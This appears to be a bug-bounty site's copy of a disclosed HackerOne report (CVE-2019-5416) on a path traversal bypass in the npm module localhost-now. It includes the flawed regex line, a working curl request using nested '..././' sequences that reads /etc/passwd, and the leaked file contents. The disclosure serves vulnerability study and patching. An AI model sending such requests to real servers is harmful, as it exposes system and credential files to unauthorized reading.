Skip to content
Path traversal Disclosed report Beginner CVE-2019-5416

[localhost-now] bypassing url filter which leads to read content of arbitrary file

The localhost-now module removes directory traversal sequences with a regex that can be bypassed by nesting them, so a crafted URL still resolves to a parent directory. An attacker could read arbitrary files on the server, such as the system password file.

dienpv Follow

Originally disclosed on HackerOne

High 7.5 View original
  • Triaged in 23 hours
  • Fixed in 51 days
  • Disclosed after 51 days

Hi guys, i can bypass url filter in localhost-now module. It allows to read content of arbitrary files on the remote server.

Module

module name: localhost-now version: 1.0.2 npm page: https://www.npmjs.com/package/localhost-now

Module Stats

26 downloads in the last week

Vulnerability Description

Lack of file path sanitization by using the regex method causes that any file on the server might be read by malicious user ex: input: url = ..././etc/passwd when the url calls replace(/(..[/\])+/g, '') and then ../ will be removed -> final result: url = ../etc/passwd. (same in windows for ...\.\)

JavaScript
// /localhost-now/lib/app.js, line 17:
const file = url === '/' ? '/index.html' : url.replace(/(\.\.[\/\\])+/g, '')

Steps To Reproduce:

  • install localhost-now:

npm install localhost-now

  • run localhost-now in your directory

root@kali:/var/www/html/localhost-now/bin# nodejs localhost
Web Server started on localhost:1337

  • execute following curl command (adjust number of ../ to reflect your system):

curl -v --path-as-is http://127.0.0.1:1337/..././..././..././..././..././etc/passwd

  • look at result:

* Trying 127.0.0.1...
* Connected to 127.0.0.1 (127.0.0.1) port 1337 (#0)
> GET /..././..././..././..././..././etc/passwd HTTP/1.1
> Host: 127.0.0.1:1337
> User-Agent: curl/7.50.1
> Accept: */*
> 
< HTTP/1.1 200 OK
< content-type: text/
< Date: Mon, 09 Apr 2018 09:04:13 GMT
< Connection: keep-alive
< Content-Length: 2908
< 
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin

thanks you

Impact

This vulnerability might be used to read content of any file on the server

The original report as published on HackerOne, by dienpv. Images and videos are our own copies; raw HTML is shown as text. View it on HackerOne.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

How it worked

Impact

This vulnerability might be used to read content of any file on the server.

What the attacker needed

Localhost-now module installed and running; network access to the server

How it was found

  1. Install the localhost-now module.
  2. Run localhost-now in a directory.
  3. Send a request with a crafted path containing nested traversal sequences.
  4. Observe the contents of the system password file in the response.

Explained by bugbounty.wiki with AI from the original and checked against quotes from it; it can still be wrong. Read the original before relying on a detail.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

A web server that serves files from a folder should not let visitors step outside that folder. The module tried to block the '..' sequence (which means 'go up one folder') but its filter could be tricked by writing the sequence in a slightly different way. This let a visitor ask for files elsewhere on the computer, like the list of user accounts.

What is Path traversal?

Input that builds a file path escapes the intended folder, reading or writing files the application should never touch.

More by dienpv

View all

4 more disclosed reports, best first.

More from Node.js third-party modules

View all

The newest disclosed reports for this program.

Similar reports

View all

Same bug class and techniques, clearest first.

Path traversal and file inclusion

The lesson behind this report.

Input that builds a file path escapes the intended folder, reading or writing files the application should never touch.